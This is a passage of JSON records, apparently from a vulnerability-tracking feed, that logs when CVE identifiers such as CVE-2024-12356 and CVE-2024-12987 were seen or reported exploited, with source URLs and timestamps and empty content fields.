"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhy5no5smj2a", "content": "", "creation_timestamp": "2025-02-12T12:15:56.276564Z"}, {"uuid": "2251b211-ea3b-4f25-a568-b15b60fb142c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lhy7ha6coc2a", "content": "", "creation_timestamp": "2025-02-12T12:48:08.960912Z"}, {"uuid": "4181b465-f18e-42ca-a13a-f6c30375e6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113991464240642560", "content": "", "creation_timestamp": "2025-02-12T14:48:29.131640Z"}, {"uuid": "73e25841-3cfe-4be1-a8f7-2dcfeac0192b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12251", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhyhqdfchq2s", "content": "", "creation_timestamp": "2025-02-12T15:16:23.407033Z"}, {"uuid": "66e2b651-2ce2-4d15-8127-e070201f38b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12379", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhyhqfusmi2p", "content": "", "creation_timestamp": "2025-02-12T15:16:26.149440Z"}, {"uuid": "bd4f6c83-9106-40f7-9351-efffab077d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12629", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhyl3r5n362s", "content": "", "creation_timestamp": "2025-02-12T16:16:28.131888Z"}, {"uuid": "e7da9d64-8778-4eec-bee0-bc6eb426568e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12673", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113992836082663405", "content": "", "creation_timestamp": "2025-02-12T20:37:20.926904Z"}, {"uuid": "1a8b9f4d-3377-4439-abf5-9052ded1b9a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3liy5jijxwdu2", "content": "", "creation_timestamp": "2025-02-25T05:38:50.407228Z"}, {"uuid": "34237848-bcfd-4fd0-ac96-f0e309ea759e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12876", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljt7pyy5wp2w", "content": "", "creation_timestamp": "2025-03-08T00:00:09.943324Z"}, {"uuid": "3db1bb54-7eb1-485c-920a-041e95be9984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lhz7yzmjnc2n", "content": "", "creation_timestamp": "2025-02-12T22:30:45.089464Z"}, {"uuid": "63e4c6fa-cda3-4372-a5c0-0ea01254a600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12673", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhzgfao4wj24", "content": "", "creation_timestamp": "2025-02-13T00:25:03.552476Z"}, {"uuid": "c2cab996-21b2-4111-9ca8-fd1624fabd8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lhzlsuzw7u22", "content": "", "creation_timestamp": "2025-02-13T02:02:04.656797Z"}, {"uuid": "ffd9467d-a860-484e-9ee3-93c41d207f63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-12)", "content": "", "creation_timestamp": "2025-02-12T00:00:00.000000Z"}, {"uuid": "6a678103-dae9-4351-b8ea-a25aae5f697d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12010", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lk3ey3nmfz2m", "content": "", "creation_timestamp": "2025-03-11T05:55:25.026161Z"}, {"uuid": "e5ecd5cc-bc13-4fd5-a3df-3bbd5fcf852e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12009", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lk3ey3rdoh2h", "content": "", "creation_timestamp": "2025-03-11T05:55:25.546478Z"}, {"uuid": "87458794-40f1-4e90-912a-c8ca3e4a21ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12336", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkfdkxcbgl2k", "content": "", "creation_timestamp": "2025-03-15T04:56:47.744092Z"}, {"uuid": "d1f7bac0-3556-4fc5-aa9f-40670add1fd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12799", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3ljytihhk3k2g", "content": "", "creation_timestamp": "2025-03-10T05:37:07.669875Z"}, {"uuid": "e9757fc0-bb0f-4429-87b7-fdbef99fe3e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-22)", "content": "", "creation_timestamp": "2025-02-22T00:00:00.000000Z"}, {"uuid": "894cc5e8-e159-4a9d-ac29-ff1a53c86739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114116272593188604", "content": "", "creation_timestamp": "2025-03-06T15:48:53.403563Z"}, {"uuid": "d3bd9010-4e91-42be-a1a1-b34ee901c7e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-12)", "content": "", "creation_timestamp": "2025-02-12T00:00:00.000000Z"}, {"uuid": "914f0853-ccd8-47f2-970b-bd268ea16e6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12797", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lhzzaiszfc23", "content": "", "creation_timestamp": "2025-02-13T06:02:19.655857Z"}, {"uuid": "ebf44f20-83ac-4dac-bb36-4696e1a30c1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113995088985958672", "content": "", "creation_timestamp": "2025-02-13T06:10:17.358569Z"}, {"uuid": "a883719d-0b47-44a1-83f8-d7a58672236c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhzzyjusar2z", "content": "", "creation_timestamp": "2025-02-13T06:15:45.338587Z"}, {"uuid": "168e7b18-f9e2-4aeb-ab2c-109c5e82d85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3li2yoy2dad2s", "content": "", "creation_timestamp": "2025-02-13T15:25:10.892592Z"}, {"uuid": "dd85beb7-d89d-44fc-a4cc-82272ca60306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2yt4p5jk2x", "content": "", "creation_timestamp": "2025-02-13T15:27:29.989540Z"}, {"uuid": "77a9a002-8129-4300-9a76-ea477f0b449e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2ytzor4k2x", "content": "", "creation_timestamp": "2025-02-13T15:28:00.468746Z"}, {"uuid": "734e4bd3-3c79-4f31-ad74-fe72229cec25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2ypsjlts2x", "content": "", "creation_timestamp": "2025-02-13T15:25:39.306898Z"}, {"uuid": "952fb32c-68ef-4c18-8063-b5e91d4a2981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2yr4siss2x", "content": "", "creation_timestamp": "2025-02-13T15:26:24.939850Z"}, {"uuid": "df42ad92-252c-48df-8327-15c1b6314a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2ys2fv7s2x", "content": "", "creation_timestamp": "2025-02-13T15:26:53.845425Z"}, {"uuid": "edd7c28a-db40-4efe-8461-4ca7ef0116f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2ysfl7s22x", "content": "", "creation_timestamp": "2025-02-13T15:27:05.535553Z"}, {"uuid": "6fd252ed-4472-4f5f-9903-a89ec76426aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3li2yxfuij22x", "content": "", "creation_timestamp": "2025-02-13T15:29:55.672176Z"}, {"uuid": "401fae88-2152-405b-90dd-401b52fa1454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997296172337824", "content": "", "creation_timestamp": "2025-02-13T15:31:36.493850Z"}, {"uuid": "468dcbfd-b4cf-4d48-88fb-012532251df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997298617317751", "content": "", "creation_timestamp": "2025-02-13T15:32:13.831416Z"}, {"uuid": "1efb3f3c-ffd9-41dd-8fd6-03956b2c8827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997300008493846", "content": "", "creation_timestamp": "2025-02-13T15:32:35.374376Z"}, {"uuid": "cf1b7bdd-b0f8-4fe0-9af6-7d38f1c20661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997303178922204", "content": "", "creation_timestamp": "2025-02-13T15:33:23.333530Z"}, {"uuid": "d9d8d36b-00a6-4d38-8e41-1906e637c528", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997306001643223", "content": "", "creation_timestamp": "2025-02-13T15:34:06.511699Z"}, {"uuid": "996a45f5-b78a-4765-aa30-35f5f64782b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113997310706296426", "content": "", "creation_timestamp": "2025-02-13T15:35:18.274696Z"}, {"uuid": "d474aa70-d1a7-4c44-8f20-d30f6315606e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12011", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113997416189281935", "content": "", "creation_timestamp": "2025-02-13T16:02:07.780454Z"}, {"uuid": "92e8b4ee-14b6-45e2-8f94-52a3151efdf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12012", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113997425572119565", "content": "", "creation_timestamp": "2025-02-13T16:04:31.010809Z"}, {"uuid": "a39af1e8-f81b-4937-90ce-c4ae98b17e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12013", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113997425586155705", "content": "", "creation_timestamp": "2025-02-13T16:04:31.240554Z"}, {"uuid": "c88b0f0e-0126-4b3d-8484-d034bc1222d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/stephenfewer.bsky.social/post/3li32xf5dnc2r", "content": "", "creation_timestamp": "2025-02-13T16:05:43.697181Z"}, {"uuid": "4a6e9f7f-4501-495f-993d-8f3192e657e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/stephenfewer.bsky.social/post/3li32xg6l4k2r", "content": "", "creation_timestamp": "2025-02-13T16:05:45.120200Z"}, {"uuid": "2b41ba96-96ee-49d9-a2e2-036b5a60d216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/stephenfewer.bsky.social/post/3li32xg6l4l2r", "content": "", "creation_timestamp": "2025-02-13T16:05:46.538045Z"}, {"uuid": "d26e994d-d527-4a55-afaf-1e38bd86ca08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3li33h4fmkk2c", "content": "", "creation_timestamp": "2025-02-13T16:14:29.433403Z"}, {"uuid": "534f25ac-fe10-4bb7-9b64-0c8aca137fb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3li33h4fqhk2c", "content": "", "creation_timestamp": "2025-02-13T16:14:30.843074Z"}, {"uuid": "49be39e1-79de-4f73-b4d5-415515530251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3li33h4frgs2c", "content": "", "creation_timestamp": "2025-02-13T16:14:32.170556Z"}, {"uuid": "254170a9-90c3-48c7-8dbd-17a7c4252f39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113997983576466350", "content": "", "creation_timestamp": "2025-02-13T18:26:25.344987Z"}, {"uuid": "8e7d9587-373c-4e6f-9e57-5e5352cec1f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3li3i5vka7s26", "content": "", "creation_timestamp": "2025-02-13T20:01:58.784176Z"}, {"uuid": "b8422e5d-fb2e-40e2-81b4-e5b30012c79f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3li3sydrc6b2g", "content": "", "creation_timestamp": "2025-02-13T23:15:42.219427Z"}, {"uuid": "91b7413a-ddcd-49e5-ba3e-1eb60a1d3fb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3li3xgdh7gv2a", "content": "", "creation_timestamp": "2025-02-14T00:35:09.089611Z"}, {"uuid": "2b263184-a1e4-4a80-a9c6-fa27b60a2474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://threatintel.cc/2025/02/13/cve-postgresql-psql-sql-injection.html", "content": "", "creation_timestamp": "2025-02-13T17:26:11.000000Z"}, {"uuid": "c99b231f-d2c8-475e-bfd8-8005e8991484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3ljz3plydbk2l", "content": "", "creation_timestamp": "2025-03-10T08:04:20.542593Z"}, {"uuid": "15939ad4-7522-4b32-af85-8ec50436ed8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3liylmi2xpwl2", "content": "", "creation_timestamp": "2025-02-25T09:51:28.326539Z"}, {"uuid": "00df30c7-1338-4204-a9bd-782607176726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12460", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljtoshv7la2n", "content": "", "creation_timestamp": "2025-03-08T04:29:56.085185Z"}, {"uuid": "fa2341b4-55ef-4fce-96a5-6c70763b6abb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12742", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-128/", "content": "", "creation_timestamp": "2025-03-11T04:00:00.000000Z"}, {"uuid": "5bdb1055-f12b-4f35-9393-862f7af4a84c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3ljz7dmeooc2w", "content": "", "creation_timestamp": "2025-03-10T09:09:09.698961Z"}, {"uuid": "c2d09129-d6b6-4c6d-a9c4-bec14cd9893d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-18)", "content": "", "creation_timestamp": "2025-03-18T00:00:00.000000Z"}, {"uuid": "e2632c58-1cac-4467-84f3-ca616e99fba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lk3mvoirxn25", "content": "", "creation_timestamp": "2025-03-11T08:17:14.577383Z"}, {"uuid": "33961202-19d0-466c-918b-a9f320fa2661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljncu6emy62s", "content": "", "creation_timestamp": "2025-03-05T15:40:09.419970Z"}, {"uuid": "ca1f2937-1565-403a-9717-3d0d6afbd144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-26)", "content": "", "creation_timestamp": "2025-03-26T00:00:00.000000Z"}, {"uuid": "7f35d87f-fac7-480b-8afc-d0e31d644ae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lkscf6j4s62p", "content": "", "creation_timestamp": "2025-03-20T08:40:16.593457Z"}, {"uuid": "741ed445-1100-4ce2-9007-cdcf7a8b65bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ljttc42iuk2i", "content": "", "creation_timestamp": "2025-03-08T05:50:17.244617Z"}, {"uuid": "36087662-ed3f-4864-9cde-4636cecfc363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljndxytswc2y", "content": "", "creation_timestamp": "2025-03-05T16:00:13.386323Z"}, {"uuid": "f08a36b1-e751-4b56-8736-5aacca816992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12016", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lksdoltrrq2j", "content": "", "creation_timestamp": "2025-03-20T09:03:27.160402Z"}, {"uuid": "ea1a829d-8f62-4d04-933f-3502ec48329c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3li5fc2o5dw2s", "content": "", "creation_timestamp": "2025-02-14T14:15:55.460918Z"}, {"uuid": "9f2cd0e0-8183-4042-a145-3ac22ad45bc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/114002775076473280", "content": "", "creation_timestamp": "2025-02-14T14:44:57.817455Z"}, {"uuid": "3ccc1d62-3910-4102-a678-a7ba6770e8d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/114002775076473280", "content": "", "creation_timestamp": "2025-02-14T14:44:57.876948Z"}, {"uuid": "0b2e334c-7f61-4cb6-bbb7-23d930cc8371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114002789888956164", "content": "", "creation_timestamp": "2025-02-14T14:48:45.208089Z"}, {"uuid": "1a93196e-79d1-4c08-8857-731f6553488a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3li5jp65hpa2v", "content": "", "creation_timestamp": "2025-02-14T15:34:50.679936Z"}, {"uuid": "a60ae479-4d01-4606-8630-1f5ce8aa0de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://threatintel.cc/2025/02/14/xerox-versalink-c-multifunction-printer.html", "content": "", "creation_timestamp": "2025-02-14T13:44:52.000000Z"}, {"uuid": "16384224-768a-4326-bdc2-1e54b8960cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://threatintel.cc/2025/02/14/xerox-versalink-c-multifunction-printer.html", "content": "", "creation_timestamp": "2025-02-14T13:44:52.000000Z"}, {"uuid": "99238862-c09f-4c5e-a39e-10cf675b8b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3li63y6cent2a", "content": "", "creation_timestamp": "2025-02-14T21:02:00.379838Z"}, {"uuid": "f070af06-02aa-43b3-afa1-249731634452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/ajsdecepida.bsky.social/post/3li6h7jb2zk27", "content": "", "creation_timestamp": "2025-02-15T00:22:57.780052Z"}, {"uuid": "79807e93-ed3a-4866-808f-5ca242b17ba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/114007194725422674", "content": "", "creation_timestamp": "2025-02-15T09:28:56.335295Z"}, {"uuid": 